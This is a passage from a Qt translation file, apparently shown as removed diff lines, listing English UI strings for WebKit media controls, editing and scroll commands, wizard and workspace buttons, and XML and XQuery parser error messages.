- <comment>Left to Right context menu item</comment>
- <translation>Left to Right</translation>
- </message>
- <message>
- <source>Right to Left</source>
- <comment>Right to Left context menu item</comment>
- <translation>Right to Left</translation>
- </message>
- <message>
- <source>Loading...</source>
- <comment>Media controller status message when the media is loading</comment>
- <translation>Loading...</translation>
- </message>
- <message>
- <source>Live Broadcast</source>
- <comment>Media controller status message when watching a live broadcast</comment>
- <translation>Live Broadcast</translation>
- </message>
- <message>
- <source>Audio Element</source>
- <comment>Media controller element</comment>
- <translation>Audio Element</translation>
- </message>
- <message>
- <source>Video Element</source>
- <comment>Media controller element</comment>
- <translation>Video Element</translation>
- </message>
- <message>
- <source>Mute Button</source>
- <comment>Media controller element</comment>
- <translation>Mute Button</translation>
- </message>
- <message>
- <source>Unmute Button</source>
- <comment>Media controller element</comment>
- <translation>Unmute Button</translation>
- </message>
- <message>
- <source>Play Button</source>
- <comment>Media controller element</comment>
- <translation>Play Button</translation>
- </message>
- <message>
- <source>Pause Button</source>
- <comment>Media controller element</comment>
- <translation>Pause Button</translation>
- </message>
- <message>
- <source>Slider</source>
- <comment>Media controller element</comment>
- <translation>Slider</translation>
- </message>
- <message>
- <source>Slider Thumb</source>
- <comment>Media controller element</comment>
- <translation>Slider Thumb</translation>
- </message>
- <message>
- <source>Rewind Button</source>
- <comment>Media controller element</comment>
- <translation>Rewind Button</translation>
- </message>
- <message>
- <source>Return to Real-time Button</source>
- <comment>Media controller element</comment>
- <translation>Return to Real-time Button</translation>
- </message>
- <message>
- <source>Elapsed Time</source>
- <comment>Media controller element</comment>
- <translation>Elapsed Time</translation>
- </message>
- <message>
- <source>Remaining Time</source>
- <comment>Media controller element</comment>
- <translation>Remaining Time</translation>
- </message>
- <message>
- <source>Status Display</source>
- <comment>Media controller element</comment>
- <translation>Status Display</translation>
- </message>
- <message>
- <source>Fullscreen Button</source>
- <comment>Media controller element</comment>
- <translation>Fullscreen Button</translation>
- </message>
- <message>
- <source>Seek Forward Button</source>
- <comment>Media controller element</comment>
- <translation>Seek Forward Button</translation>
- </message>
- <message>
- <source>Seek Back Button</source>
- <comment>Media controller element</comment>
- <translation>Seek Back Button</translation>
- </message>
- <message>
- <source>Audio element playback controls and status display</source>
- <comment>Media controller element</comment>
- <translation>Audio element playback controls and status display</translation>
- </message>
- <message>
- <source>Video element playback controls and status display</source>
- <comment>Media controller element</comment>
- <translation>Video element playback controls and status display</translation>
- </message>
- <message>
- <source>Mute audio tracks</source>
- <comment>Media controller element</comment>
- <translation>Mute audio tracks</translation>
- </message>
- <message>
- <source>Unmute audio tracks</source>
- <comment>Media controller element</comment>
- <translation>Unmute audio tracks</translation>
- </message>
- <message>
- <source>Begin playback</source>
- <comment>Media controller element</comment>
- <translation>Begin playback</translation>
- </message>
- <message>
- <source>Pause playback</source>
- <comment>Media controller element</comment>
- <translation>Pause playback</translation>
- </message>
- <message>
- <source>Movie time scrubber</source>
- <comment>Media controller element</comment>
- <translation>Movie time scrubber</translation>
- </message>
- <message>
- <source>Movie time scrubber thumb</source>
- <comment>Media controller element</comment>
- <translation>Movie time scrubber thumb</translation>
- </message>
- <message>
- <source>Rewind movie</source>
- <comment>Media controller element</comment>
- <translation>Rewind movie</translation>
- </message>
- <message>
- <source>Return streaming movie to real-time</source>
- <comment>Media controller element</comment>
- <translation>Return streaming movie to real-time</translation>
- </message>
- <message>
- <source>Current movie time</source>
- <comment>Media controller element</comment>
- <translation>Current movie time</translation>
- </message>
- <message>
- <source>Remaining movie time</source>
- <comment>Media controller element</comment>
- <translation>Remaining movie time</translation>
- </message>
- <message>
- <source>Current movie status</source>
- <comment>Media controller element</comment>
- <translation>Current movie status</translation>
- </message>
- <message>
- <source>Play movie in full-screen mode</source>
- <comment>Media controller element</comment>
- <translation>Play movie in full-screen mode</translation>
- </message>
- <message>
- <source>Seek quickly back</source>
- <comment>Media controller element</comment>
- <translation>Seek quickly back</translation>
- </message>
- <message>
- <source>Seek quickly forward</source>
- <comment>Media controller element</comment>
- <translation>Seek quickly forward</translation>
- </message>
- <message>
- <source>Indefinite time</source>
- <comment>Media time description</comment>
- <translation>Indefinite time</translation>
- </message>
- <message>
- <source>%1 days %2 hours %3 minutes %4 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 days %2 hours %3 minutes %4 seconds</translation>
- </message>
- <message>
- <source>%1 hours %2 minutes %3 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 hours %2 minutes %3 seconds</translation>
- </message>
- <message>
- <source>%1 minutes %2 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 minutes %2 seconds</translation>
- </message>
- <message>
- <source>%1 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 seconds</translation>
- </message>
- <message>
- <source>Inspect</source>
- <comment>Inspect Element context menu item</comment>
- <translation>Inspect</translation>
- </message>
- <message>
- <source>No recent searches</source>
- <comment>Label for only item in menu that appears when clicking on the search field image, when no searches have been performed</comment>
- <translation>No recent searches</translation>
- </message>
- <message>
- <source>Recent searches</source>
- <comment>label for first item in the menu that appears when clicking on the search field image, used as embedded menu title</comment>
- <translation>Recent searches</translation>
- </message>
- <message>
- <source>Clear recent searches</source>
- <comment>menu item in Recent Searches menu that empties menu&apos;s contents</comment>
- <translation>Clear recent searches</translation>
- </message>
- <message>
- <source>Unknown</source>
- <comment>Unknown filesize FTP directory listing item</comment>
- <translation>Unknown</translation>
- </message>
- <message>
- <source>Web Inspector - %2</source>
- <translation>Web Inspector - %2</translation>
- </message>
- <message>
- <source>%1 (%2x%3 pixels)</source>
- <comment>Title string for images</comment>
- <translation>%1 (%2x%3 pixels)</translation>
- </message>
- <message>
- <source>Bad HTTP request</source>
- <translation>Bad HTTP request</translation>
- </message>
- <message>
- <source>This is a searchable index. Enter search keywords: </source>
- <comment>text that appears at the start of nearly-obsolete web pages in the form of a &apos;searchable index&apos;</comment>
- <translation>This is a searchable index. Enter search keywords: </translation>
- </message>
- <message>
- <source>Scroll here</source>
- <translation>Scroll here</translation>
- </message>
- <message>
- <source>Left edge</source>
- <translation>Left edge</translation>
- </message>
- <message>
- <source>Top</source>
- <translation>Top</translation>
- </message>
- <message>
- <source>Right edge</source>
- <translation>Right edge</translation>
- </message>
- <message>
- <source>Bottom</source>
- <translation>Bottom</translation>
- </message>
- <message>
- <source>Page left</source>
- <translation>Page left</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Page up</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Page right</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Page down</translation>
- </message>
- <message>
- <source>Scroll left</source>
- <translation>Scroll left</translation>
- </message>
- <message>
- <source>Scroll up</source>
- <translation>Scroll up</translation>
- </message>
- <message>
- <source>Scroll right</source>
- <translation>Scroll right</translation>
- </message>
- <message>
- <source>Scroll down</source>
- <translation>Scroll down</translation>
- </message>
- <message numerus="yes">
- <source>%n file(s)</source>
- <comment>number of chosen file</comment>
- <translation>
- <numerusform>%n file(s)</numerusform>
- <numerusform>%n file(s)</numerusform>
- </translation>
- </message>
- <message>
- <source>JavaScript Alert - %1</source>
- <translation>JavaScript Alert - %1</translation>
- </message>
- <message>
- <source>JavaScript Confirm - %1</source>
- <translation>JavaScript Confirm - %1</translation>
- </message>
- <message>
- <source>JavaScript Prompt - %1</source>
- <translation>JavaScript Prompt - %1</translation>
- </message>
- <message>
- <source>JavaScript Problem - %1</source>
- <translation>JavaScript Problem - %1</translation>
- </message>
- <message>
- <source>The script on this page appears to have a problem. Do you want to stop the script?</source>
- <translation>The script on this page appears to have a problem. Do you want to stop the script?</translation>
- </message>
- <message>
- <source>Move the cursor to the next character</source>
- <translation>Move the cursor to the next character</translation>
- </message>
- <message>
- <source>Move the cursor to the previous character</source>
- <translation>Move the cursor to the previous character</translation>
- </message>
- <message>
- <source>Move the cursor to the next word</source>
- <translation>Move the cursor to the next word</translation>
- </message>
- <message>
- <source>Move the cursor to the previous word</source>
- <translation>Move the cursor to the previous word</translation>
- </message>
- <message>
- <source>Move the cursor to the next line</source>
- <translation>Move the cursor to the next line</translation>
- </message>
- <message>
- <source>Move the cursor to the previous line</source>
- <translation>Move the cursor to the previous line</translation>
- </message>
- <message>
- <source>Move the cursor to the start of the line</source>
- <translation>Move the cursor to the start of the line</translation>
- </message>
- <message>
- <source>Move the cursor to the end of the line</source>
- <translation>Move the cursor to the end of the line</translation>
- </message>
- <message>
- <source>Move the cursor to the start of the block</source>
- <translation>Move the cursor to the start of the block</translation>
- </message>
- <message>
- <source>Move the cursor to the end of the block</source>
- <translation>Move the cursor to the end of the block</translation>
- </message>
- <message>
- <source>Move the cursor to the start of the document</source>
- <translation>Move the cursor to the start of the document</translation>
- </message>
- <message>
- <source>Move the cursor to the end of the document</source>
- <translation>Move the cursor to the end of the document</translation>
- </message>
- <message>
- <source>Select all</source>
- <translation>Select all</translation>
- </message>
- <message>
- <source>Select to the next character</source>
- <translation>Select to the next character</translation>
- </message>
- <message>
- <source>Select to the previous character</source>
- <translation>Select to the previous character</translation>
- </message>
- <message>
- <source>Select to the next word</source>
- <translation>Select to the next word</translation>
- </message>
- <message>
- <source>Select to the previous word</source>
- <translation>Select to the previous word</translation>
- </message>
- <message>
- <source>Select to the next line</source>
- <translation>Select to the next line</translation>
- </message>
- <message>
- <source>Select to the previous line</source>
- <translation>Select to the previous line</translation>
- </message>
- <message>
- <source>Select to the start of the line</source>
- <translation>Select to the start of the line</translation>
- </message>
- <message>
- <source>Select to the end of the line</source>
- <translation>Select to the end of the line</translation>
- </message>
- <message>
- <source>Select to the start of the block</source>
- <translation>Select to the start of the block</translation>
- </message>
- <message>
- <source>Select to the end of the block</source>
- <translation>Select to the end of the block</translation>
- </message>
- <message>
- <source>Select to the start of the document</source>
- <translation>Select to the start of the document</translation>
- </message>
- <message>
- <source>Select to the end of the document</source>
- <translation>Select to the end of the document</translation>
- </message>
- <message>
- <source>Delete to the start of the word</source>
- <translation>Delete to the start of the word</translation>
- </message>
- <message>
- <source>Delete to the end of the word</source>
- <translation>Delete to the end of the word</translation>
- </message>
- <message>
- <source>Insert a new paragraph</source>
- <translation>Insert a new paragraph</translation>
- </message>
- <message>
- <source>Insert a new line</source>
- <translation>Insert a new line</translation>
- </message>
- <message>
- <source>Paste and Match Style</source>
- <translation>Paste and Match Style</translation>
- </message>
- <message>
- <source>Remove formatting</source>
- <translation>Remove formatting</translation>
- </message>
- <message>
- <source>Strikethrough</source>
- <translation>Strikethrough</translation>
- </message>
- <message>
- <source>Subscript</source>
- <translation>Subscript</translation>
- </message>
- <message>
- <source>Superscript</source>
- <translation>Superscript</translation>
- </message>
- <message>
- <source>Insert Bulleted List</source>
- <translation>Insert Bulleted List</translation>
- </message>
- <message>
- <source>Insert Numbered List</source>
- <translation>Insert Numbered List</translation>
- </message>
- <message>
- <source>Indent</source>
- <translation>Indent</translation>
- </message>
- <message>
- <source>Outdent</source>
- <translation>Outdent</translation>
- </message>
- <message>
- <source>Center</source>
- <translation>Center</translation>
- </message>
- <message>
- <source>Justify</source>
- <translation>Justify</translation>
- </message>
- <message>
- <source>Align Left</source>
- <translation>Align Left</translation>
- </message>
- <message>
- <source>Align Right</source>
- <translation>Align Right</translation>
- </message>
- </context>
- <context>
- <name>QWhatsThisAction</name>
- <message>
- <source>What&apos;s This?</source>
- <translation>What&apos;s This?</translation>
- </message>
- </context>
- <context>
- <name>QWidget</name>
- <message>
- <source>*</source>
- <translation>*</translation>
- </message>
- </context>
- <context>
- <name>QWizard</name>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>&lt; &amp;Back</source>
- <translation>&lt; &amp;Back</translation>
- </message>
- <message>
- <source>&amp;Finish</source>
- <translation>&amp;Finish</translation>
- </message>
- <message>
- <source>&amp;Help</source>
- <translation>&amp;Help</translation>
- </message>
- <message>
- <source>Go Back</source>
- <translation>Go Back</translation>
- </message>
- <message>
- <source>Continue</source>
- <translation>Continue</translation>
- </message>
- <message>
- <source>Commit</source>
- <translation>Commit</translation>
- </message>
- <message>
- <source>Done</source>
- <translation>Done</translation>
- </message>
- <message>
- <source>&amp;Next</source>
- <translation>&amp;Next</translation>
- </message>
- <message>
- <source>&amp;Next &gt;</source>
- <translation>&amp;Next &gt;</translation>
- </message>
- </context>
- <context>
- <name>QWorkspace</name>
- <message>
- <source>&amp;Restore</source>
- <translation>&amp;Restore</translation>
- </message>
- <message>
- <source>&amp;Move</source>
- <translation>&amp;Move</translation>
- </message>
- <message>
- <source>&amp;Size</source>
- <translation>&amp;Size</translation>
- </message>
- <message>
- <source>Mi&amp;nimize</source>
- <translation>Mi&amp;nimize</translation>
- </message>
- <message>
- <source>Ma&amp;ximize</source>
- <translation>Ma&amp;ximize</translation>
- </message>
- <message>
- <source>&amp;Close</source>
- <translation>&amp;Close</translation>
- </message>
- <message>
- <source>Stay on &amp;Top</source>
- <translation>Stay on &amp;Top</translation>
- </message>
- <message>
- <source>Minimize</source>
- <translation>Minimize</translation>
- </message>
- <message>
- <source>Restore Down</source>
- <translation>Restore Down</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Sh&amp;ade</source>
- <translation>Sh&amp;ade</translation>
- </message>
- <message>
- <source>%1 - [%2]</source>
- <translation>%1 - [%2]</translation>
- </message>
- <message>
- <source>&amp;Unshade</source>
- <translation>&amp;Unshade</translation>
- </message>
- </context>
- <context>
- <name>QXml</name>
- <message>
- <source>no error occurred</source>
- <translation>no error occurred</translation>
- </message>
- <message>
- <source>error triggered by consumer</source>
- <translation>error triggered by consumer</translation>
- </message>
- <message>
- <source>unexpected end of file</source>
- <translation>unexpected end of file</translation>
- </message>
- <message>
- <source>more than one document type definition</source>
- <translation>more than one document type definition</translation>
- </message>
- <message>
- <source>error occurred while parsing element</source>
- <translation>error occurred while parsing element</translation>
- </message>
- <message>
- <source>tag mismatch</source>
- <translation>tag mismatch</translation>
- </message>
- <message>
- <source>error occurred while parsing content</source>
- <translation>error occurred while parsing content</translation>
- </message>
- <message>
- <source>unexpected character</source>
- <translation>unexpected character</translation>
- </message>
- <message>
- <source>invalid name for processing instruction</source>
- <translation>invalid name for processing instruction</translation>
- </message>
- <message>
- <source>version expected while reading the XML declaration</source>
- <translation>version expected while reading the XML declaration</translation>
- </message>
- <message>
- <source>wrong value for standalone declaration</source>
- <translation>wrong value for standalone declaration</translation>
- </message>
- <message>
- <source>error occurred while parsing document type definition</source>
- <translation>error occurred while parsing document type definition</translation>
- </message>
- <message>
- <source>letter is expected</source>
- <translation>letter is expected</translation>
- </message>
- <message>
- <source>error occurred while parsing comment</source>
- <translation>error occurred while parsing comment</translation>
- </message>
- <message>
- <source>error occurred while parsing reference</source>
- <translation>error occurred while parsing reference</translation>
- </message>
- <message>
- <source>internal general entity reference not allowed in DTD</source>
- <translation>internal general entity reference not allowed in DTD</translation>
- </message>
- <message>
- <source>external parsed general entity reference not allowed in attribute value</source>
- <translation>external parsed general entity reference not allowed in attribute value</translation>
- </message>
- <message>
- <source>external parsed general entity reference not allowed in DTD</source>
- <translation>external parsed general entity reference not allowed in DTD</translation>
- </message>
- <message>
- <source>unparsed entity reference in wrong context</source>
- <translation>unparsed entity reference in wrong context</translation>
- </message>
- <message>
- <source>recursive entities</source>
- <translation>recursive entities</translation>
- </message>
- <message>
- <source>error in the text declaration of an external entity</source>
- <translation>error in the text declaration of an external entity</translation>
- </message>
- <message>
- <source>encoding declaration or standalone declaration expected while reading the XML declaration</source>
- <translation>encoding declaration or standalone declaration expected while reading the XML declaration</translation>
- </message>
- <message>
- <source>standalone declaration expected while reading the XML declaration</source>
- <translation>standalone declaration expected while reading the XML declaration</translation>
- </message>
- </context>
- <context>
- <name>QXmlPatternistCLI</name>
- <message>
- <source>Warning in %1, at line %2, column %3: %4</source>
- <translation>Warning in %1, at line %2, column %3: %4</translation>
- </message>
- <message>
- <source>Warning in %1: %2</source>
- <translation>Warning in %1: %2</translation>
- </message>
- <message>
- <source>Unknown location</source>
- <translation>Unknown location</translation>
- </message>
- <message>
- <source>Error %1 in %2, at line %3, column %4: %5</source>
- <translation>Error %1 in %2, at line %3, column %4: %5</translation>
- </message>
- <message>
- <source>Error %1 in %2: %3</source>
- <translation>Error %1 in %2: %3</translation>
- </message>
- </context>
- <context>
- <name>QXmlStream</name>
- <message>
- <source>Extra content at end of document.</source>
- <translation>Extra content at end of document.</translation>
- </message>
- <message>
- <source>Invalid entity value.</source>
- <translation>Invalid entity value.</translation>
- </message>
- <message>
- <source>Invalid XML character.</source>
- <translation>Invalid XML character.</translation>
- </message>
- <message>
- <source>Sequence &apos;]]&gt;&apos; not allowed in content.</source>
- <translation>Sequence &apos;]]&gt;&apos; not allowed in content.</translation>
- </message>
- <message>
- <source>Namespace prefix &apos;%1&apos; not declared</source>
- <translation>Namespace prefix &apos;%1&apos; not declared</translation>
- </message>
- <message>
- <source>Attribute redefined.</source>
- <translation>Attribute redefined.</translation>
- </message>
- <message>
- <source>Unexpected character &apos;%1&apos; in public id literal.</source>
- <translation>Unexpected character &apos;%1&apos; in public id literal.</translation>
- </message>
- <message>
- <source>Invalid XML version string.</source>
- <translation>Invalid XML version string.</translation>
- </message>
- <message>
- <source>Unsupported XML version.</source>
- <translation>Unsupported XML version.</translation>
- </message>
- <message>
- <source>%1 is an invalid encoding name.</source>
- <translation>%1 is an invalid encoding name.</translation>
- </message>
- <message>
- <source>Encoding %1 is unsupported</source>
- <translation>Encoding %1 is unsupported</translation>
- </message>
- <message>
- <source>Standalone accepts only yes or no.</source>
- <translation>Standalone accepts only yes or no.</translation>
- </message>
- <message>
- <source>Invalid attribute in XML declaration.</source>
- <translation>Invalid attribute in XML declaration.</translation>
- </message>
- <message>
- <source>Premature end of document.</source>
- <translation>Premature end of document.</translation>
- </message>
- <message>
- <source>Invalid document.</source>
- <translation>Invalid document.</translation>
- </message>
- <message>
- <source>Expected </source>
- <translation>Expected </translation>
- </message>
- <message>
- <source>, but got &apos;</source>
- <translation>, but got &apos;</translation>
- </message>
- <message>
- <source>Unexpected &apos;</source>
- <translation>Unexpected &apos;</translation>
- </message>
- <message>
- <source>Expected character data.</source>
- <translation>Expected character data.</translation>
- </message>
- <message>
- <source>Recursive entity detected.</source>
- <translation>Recursive entity detected.</translation>
- </message>
- <message>
- <source>Start tag expected.</source>
- <translation>Start tag expected.</translation>
- </message>
- <message>
- <source>XML declaration not at start of document.</source>
- <translation>XML declaration not at start of document.</translation>
- </message>
- <message>
- <source>NDATA in parameter entity declaration.</source>
- <translation>NDATA in parameter entity declaration.</translation>
- </message>
- <message>
- <source>%1 is an invalid processing instruction name.</source>
- <translation>%1 is an invalid processing instruction name.</translation>
- </message>
- <message>
- <source>Invalid processing instruction name.</source>
- <translation>Invalid processing instruction name.</translation>
- </message>
- <message>
- <source>Illegal namespace declaration.</source>
- <translation>Illegal namespace declaration.</translation>
- </message>
- <message>
- <source>Invalid XML name.</source>
- <translation>Invalid XML name.</translation>
- </message>
- <message>
- <source>Opening and ending tag mismatch.</source>
- <translation>Opening and ending tag mismatch.</translation>
- </message>
- <message>
- <source>Reference to unparsed entity &apos;%1&apos;.</source>
- <translation>Reference to unparsed entity &apos;%1&apos;.</translation>
- </message>
- <message>
- <source>Entity &apos;%1&apos; not declared.</source>
- <translation>Entity &apos;%1&apos; not declared.</translation>
- </message>
- <message>
- <source>Reference to external entity &apos;%1&apos; in attribute value.</source>
- <translation>Reference to external entity &apos;%1&apos; in attribute value.</translation>
- </message>
- <message>
- <source>Invalid character reference.</source>
- <translation>Invalid character reference.</translation>
- </message>
- <message>
- <source>Encountered incorrectly encoded content.</source>
- <translation>Encountered incorrectly encoded content.</translation>
- </message>
- <message>
- <source>The standalone pseudo attribute must appear after the encoding.</source>
- <translation>The standalone pseudo attribute must appear after the encoding.</translation>
- </message>
- <message>
- <source>%1 is an invalid PUBLIC identifier.</source>
- <translation>%1 is an invalid PUBLIC identifier.</translation>
- </message>
- </context>
- <context>
- <name>QtXmlPatterns</name>
- <message>
- <source>At least one component must be present.</source>
- <translation>At least one component must be present.</translation>
- </message>
- <message>
- <source>%1 is not a valid value of type %2.</source>
- <translation>%1 is not a valid value of type %2.</translation>
- </message>
- <message>
- <source>When casting to %1 from %2, the source value cannot be %3.</source>
- <translation>When casting to %1 from %2, the source value cannot be %3.</translation>
- </message>
- <message>
- <source>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</source>
- <translation>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</translation>
- </message>
- <message>
- <source>The data of a processing instruction cannot contain the string %1</source>
- <translation>The data of a processing instruction cannot contain the string %1</translation>
- </message>
- <message>
- <source>%1 is an invalid %2</source>
- <translation>%1 is an invalid %2</translation>
- </message>
- <message>
- <source>%1 is not a valid XML 1.0 character.</source>
- <translation>%1 is not a valid XML 1.0 character.</translation>
- </message>
- <message>
- <source>%1 was called.</source>
- <translation>%1 was called.</translation>
- </message>
- <message>
- <source>In the replacement string, %1 must be followed by at least one digit when not escaped.</source>
- <translation>In the replacement string, %1 must be followed by at least one digit when not escaped.</translation>
- </message>
- <message>
- <source>In the replacement string, %1 can only be used to escape itself or %2, not %3</source>
- <translation>In the replacement string, %1 can only be used to escape itself or %2, not %3</translation>
- </message>
- <message>
- <source>%1 matches newline characters</source>
- <translation>%1 matches newline characters</translation>
- </message>
- <message>
- <source>Matches are case insensitive</source>
- <translation>Matches are case insensitive</translation>
- </message>
- <message>
- <source>%1 is an invalid regular expression pattern: %2</source>
- <translation>%1 is an invalid regular expression pattern: %2</translation>
- </message>
- <message>
- <source>It will not be possible to retrieve %1.</source>
- <translation>It will not be possible to retrieve %1.</translation>
- </message>
- <message>
- <source>The default collection is undefined</source>
- <translation>The default collection is undefined</translation>
- </message>
- <message>
- <source>%1 cannot be retrieved</source>
- <translation>%1 cannot be retrieved</translation>
- </message>
- <message>
- <source>The item %1 did not match the required type %2.</source>
- <translation>The item %1 did not match the required type %2.</translation>
- </message>
- <message>
- <source>%1 is an unknown schema type.</source>
- <translation>%1 is an unknown schema type.</translation>
- </message>
- <message>
- <source>A template with name %1 has already been declared.</source>
- <translation>A template with name %1 has already been declared.</translation>
- </message>
- <message>
- <source>Only one %1 declaration can occur in the query prolog.</source>
- <translation>Only one %1 declaration can occur in the query prolog.</translation>
- </message>
- <message>
- <source>The initialization of variable %1 depends on itself</source>
- <translation>The initialization of variable %1 depends on itself</translation>
- </message>
- <message>
- <source>The variable %1 is unused</source>
- <translation>The variable %1 is unused</translation>
- </message>
- <message>
- <source>Version %1 is not supported. The supported XQuery version is 1.0.</source>
- <translation>Version %1 is not supported. The supported XQuery version is 1.0.</translation>
- </message>
- <message>
- <source>No function with signature %1 is available</source>
- <translation>No function with signature %1 is available</translation>
- </message>
- <message>
- <source>It is not possible to redeclare prefix %1.</source>
- <translation>It is not possible to redeclare prefix %1.</translation>
- </message>
- <message>
- <source>Prefix %1 is already declared in the prolog.</source>
- <translation>Prefix %1 is already declared in the prolog.</translation>
- </message>
- <message>
- <source>The name of an option must have a prefix. There is no default namespace for options.</source>
- <translation>The name of an option must have a prefix. There is no default namespace for options.</translation>
- </message>
- <message>
- <source>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</source>
- <translation>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</translation>
- </message>
- <message>
- <source>The target namespace of a %1 cannot be empty.</source>
- <translation>The target namespace of a %1 cannot be empty.</translation>
- </message>
- <message>
- <source>The module import feature is not supported</source>
- <translation>The module import feature is not supported</translation>
- </message>
- <message>
- <source>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</source>
- <translation>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</translation>
- </message>
- <message>
- <source>A function already exists with the signature %1.</source>
- <translation>A function already exists with the signature %1.</translation>
- </message>
- <message>
- <source>No external functions are supported. All supported functions can be used directly, without first declaring them as external</source>
- <translation>No external functions are supported. All supported functions can be used directly, without first declaring them as external</translation>
- </message>
- <message>
- <source>The %1-axis is unsupported in XQuery</source>
- <translation>The %1-axis is unsupported in XQuery</translation>
- </message>
- <message>
- <source>The namespace URI cannot be the empty string when binding to a prefix, %1.</source>
- <translation>The namespace URI cannot be the empty string when binding to a prefix, %1.</translation>
- </message>
- <message>
- <source>%1 is an invalid namespace URI.</source>
- <translation>%1 is an invalid namespace URI.</translation>
- </message>
- <message>
- <source>It is not possible to bind to the prefix %1</source>
- <translation>It is not possible to bind to the prefix %1</translation>
- </message>
- <message>
- <source>Two namespace declaration attributes have the same name: %1.</source>
- <translation>Two namespace declaration attributes have the same name: %1.</translation>
- </message>
- <message>
- <source>The namespace URI must be a constant and cannot use enclosed expressions.</source>
- <translation>The namespace URI must be a constant and cannot use enclosed expressions.</translation>
- </message>
- <message>
- <source>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</source>
- <translation>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</translation>
- </message>
- <message>
- <source>empty</source>
- <translation>empty</translation>
- </message>
- <message>
- <source>zero or one</source>
- <translation>zero or one</translation>
- </message>
- <message>
- <source>exactly one</source>
- <translation>exactly one</translation>
- </message>
- <message>
- <source>one or more</source>
- <translation>one or more</translation>
- </message>
- <message>
- <source>zero or more</source>
- <translation>zero or more</translation>
- </message>
- <message>
- <source>The focus is undefined.</source>
- <translation>The focus is undefined.</translation>
- </message>
- <message>
- <source>An attribute by name %1 has already been created.</source>
- <translation>An attribute by name %1 has already been created.</translation>
- </message>
- <message>
- <source>Network timeout.</source>
- <translation>Network timeout.</translation>
- </message>
- <message>
- <source>Element %1 can&apos;t be serialized because it appears outside the document element.</source>
- <translation>Element %1 can&apos;t be serialized because it appears outside the document element.</translation>
- </message>
- <message>
- <source>Year %1 is invalid because it begins with %2.</source>
- <translation>Year %1 is invalid because it begins with %2.</translation>
- </message>
- <message>
- <source>Day %1 is outside the range %2..%3.</source>
- <translation>Day %1 is outside the range %2..%3.</translation>
- </message>
- <message>
- <source>Month %1 is outside the range %2..%3.</source>
- <translation>Month %1 is outside the range %2..%3.</translation>
- </message>
- <message>
- <source>Overflow: Can&apos;t represent date %1.</source>
- <translation>Overflow: Can&apos;t represent date %1.</translation>
- </message>
- <message>
- <source>Day %1 is invalid for month %2.</source>
- <translation>Day %1 is invalid for month %2.</translation>
- </message>
- <message>
- <source>Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; </source>
- <translation>Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; </translation>
- </message>
- <message>
- <source>Time %1:%2:%3.%4 is invalid.</source>
- <translation>Time %1:%2:%3.%4 is invalid.</translation>
- </message>
- <message>
- <source>Overflow: Date can&apos;t be represented.</source>
- <translation>Overflow: Date can&apos;t be represented.</translation>
- </message>
- <message>
- <source>At least one time component must appear after the %1-delimiter.</source>
- <translation>At least one time component must appear after the %1-delimiter.</translation>
- </message>
- <message>
- <source>Dividing a value of type %1 by %2 (not-a-number) is not allowed.</source>
- <translation>Dividing a value of type %1 by %2 (not-a-number) is not allowed.</translation>
- </message>
- <message>
- <source>Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.</source>
- <translation>Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.</translation>
- </message>
- <message>
- <source>Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.</source>
- <translation>Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.</translation>
- </message>
- <message>
- <source>A value of type %1 cannot have an Effective Boolean Value.</source>
- <translation>A value of type %1 cannot have an Effective Boolean Value.</translation>
- </message>
- <message>
- <source>Value %1 of type %2 exceeds maximum (%3).</source>
- <translation>Value %1 of type %2 exceeds maximum (%3).</translation>
- </message>
- <message>
- <source>Value %1 of type %2 is below minimum (%3).</source>
- <translation>Value %1 of type %2 is below minimum (%3).</translation>
- </message>
- <message>
- <source>A value of type %1 must contain an even number of digits. The value %2 does not.</source>
- <translation>A value of type %1 must contain an even number of digits. The value %2 does not.</translation>
- </message>
- <message>
- <source>%1 is not valid as a value of type %2.</source>
- <translation>%1 is not valid as a value of type %2.</translation>
- </message>
- <message>
- <source>Operator %1 cannot be used on type %2.</source>
- <translation>Operator %1 cannot be used on type %2.</translation>
- </message>
- <message>
- <source>Operator %1 cannot be used on atomic values of type %2 and %3.</source>
- <translation>Operator %1 cannot be used on atomic values of type %2 and %3.</translation>
- </message>
- <message>
- <source>The namespace URI in the name for a computed attribute cannot be %1.</source>
- <translation>The namespace URI in the name for a computed attribute cannot be %1.</translation>
- </message>
- <message>
- <source>The name for a computed attribute cannot have the namespace URI %1 with the local name %2.</source>
- <translation>The name for a computed attribute cannot have the namespace URI %1 with the local name %2.</translation>
- </message>
- <message>
- <source>Type error in cast, expected %1, received %2.</source>
- <translation>Type error in cast, expected %1, received %2.</translation>
- </message>
- <message>
- <source>When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.</source>
- <translation>When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.</translation>
- </message>
- <message>
- <source>A comment cannot contain %1</source>
- <translation>A comment cannot contain %1</translation>
- </message>
- <message>
- <source>A comment cannot end with a %1.</source>
- <translation>A comment cannot end with a %1.</translation>
- </message>
- <message>
- <source>An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.</source>
- <translation>An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.</translation>
- </message>
- <message>
- <source>A library module cannot be evaluated directly. It must be imported from a main module.</source>
